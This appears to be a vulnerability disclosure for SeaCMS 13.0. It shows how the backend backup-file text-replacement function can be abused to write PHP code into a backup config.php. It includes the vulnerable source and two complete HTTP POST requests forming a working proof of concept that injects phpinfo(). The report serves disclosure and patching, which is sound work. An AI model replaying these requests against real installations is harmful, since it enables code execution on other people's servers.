seacms

Seacms

Version: 13.0

Vulnerable Component:

In the backend path \ebak\phome.php
![输入图片说明](https://foruda.gitee.com/images/1733214654043619177/8983a414_14685008.png "屏幕截图")
this function：Ebak_RepPathFiletext（）

follow-up function：
function Ebak_RepPathFiletext($add){
    global $bakpath;
    $mypath=trim($add['mypath']);
    $oldword=Ebak_ClearAddsData($add['oldword']);
    $newword=Ebak_ClearAddsData($add['newword']);
    $dozz=(int)$add['dozz'];
    if(empty($oldword)||empty($mypath))
    {
       printerror("EmptyRepPathFiletext","history.go(-1)");
    }
    if(strstr($mypath,".."))
    {
       printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;           //bdata/seacms1
    if(!file_exists($path))
    {
       printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);
    while($file=@readdir($hand))
    {
       $filename=$path."/".$file;
       if($file!="."&&$file!=".."&&is_file($filename))
       {
          $value=ReadFiletext($filename);
          if($dozz)
          {
             $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
          }
          else
          {
             if(!stristr($value,$oldword))
             {
                continue;
             }
             $newvalue=str_replace($oldword,$newword,$value);
          }
          WriteFiletext_n($filename,$newvalue);
       }
    }
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

Three parameters are passed here
![输入图片说明](https://foruda.gitee.com/images/1733214668082174999/9a5ac0b2_14685008.png "屏幕截图")
Will eventually be called

![输入图片说明](https://foruda.gitee.com/images/1733214672307364450/3aa72144_14685008.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1733214680896695542/26ee94ef_14685008.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1733214692609977827/a3f7c456_14685008.png "屏幕截图")
The meaning of the words in the picture is：Here, $filename is the $file under the $path, where $path is a variable for bakpath under mypath. Since mypath is controllable, $path is controllable as well. At this point, $hand is also controllable.
Furthermore, since $file is $hand, $file is controllable here as well file($filename)
In the first few lines
![输入图片说明](https://foruda.gitee.com/images/1733214696873068952/04495c3f_14685008.png "屏幕截图")
The $bakpath is hardcoded here, and there are filters for ../ and ./, so only files under the $bakpath directory can be controlled.
![输入图片说明](https://foruda.gitee.com/images/1733214703783526536/f32a4e9f_14685008.png "屏幕截图")

This only applies regular expression matching control to $newvalue, and since the target value is controllable, therefore here...
We can control the WriteFiletext_n function. The data packet is constructed because this overall process involves changing the content of the file generated after a data backup.
![输入图片说明](https://foruda.gitee.com/images/1733214712988141552/290b1a23_14685008.png "屏幕截图")
Therefore, it is necessary to back up here first. Clicking on the backup will display the name of the database, the name of the backup folder, and the table names chosen for backing up the data.
![输入图片说明](https://foruda.gitee.com/images/1733214720504488341/bccd1209_14685008.png "屏幕截图")

A folder will be created after the backup.
![输入图片说明](https://foruda.gitee.com/images/1733214736027735409/ec9d6435_14685008.png "屏幕截图")

The content is
![输入图片说明](https://foruda.gitee.com/images/1733214740329341193/8fc6a522_14685008.png "屏幕截图")
Content of Config.php
![输入图片说明](https://foruda.gitee.com/images/1733214748185088845/462a273e_14685008.png "屏幕截图")
At this point, the vulnerability exploitation principle I am submitting is to change the content of this backup data.
Attack example:
Currently, I will first back up the data from a database table.
![输入图片说明](https://foruda.gitee.com/images/1733214784828461480/9d6076a7_14685008.png "屏幕截图")
POST /z5fskt/ebak/phomebak.php HTTP/1.1
Host: seacms
Content-Length: 250
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://seacms
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://seacms/z5fskt/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea&act=b
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac
Connection: close

phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_co_cls&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

The folder is test, and the backup table is sea_co_cls
![输入图片说明](https://foruda.gitee.com/images/1733214794391022310/1f67e4eb_14685008.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1733214800268427696/19747808_14685008.png "屏幕截图")

此时访问phome.php，构造攻击语句
![输入图片说明](https://foruda.gitee.com/images/1733214805643331759/5dd05690_14685008.png "屏幕截图")
POST /z5fskt/ebak/phome.php?phome=RepPathFiletext HTTP/1.1
Host: seacms
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://seacms
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://seacms/z5fskt/ebak/ReData.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac
Connection: close

mypath=test&oldword=sea_co_cls&newword=phpinfo()&dozz=1

After simulating the attack, the current config.php is

![输入图片说明](https://foruda.gitee.com/images/1733214817915291716/d7712142_14685008.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1733214827215348456/4e642c75_14685008.png "屏幕截图")

This vulnerability is similar to CVE-2024-40522, but they are different. The attack logic is similar because both involve changing file content, but the files where the vulnerabilities exist are different, as are the functions involved.

Fix Recommendation: Filter the controllable parameters and encrypt the data packets.

fufufu/sea

Content Risk Flag

Comments (0)

fufufu/sea .gitee-modal { width: 500px !important; }

Content Risk Flag

seacms

Comments (0)

Search

fufufu/sea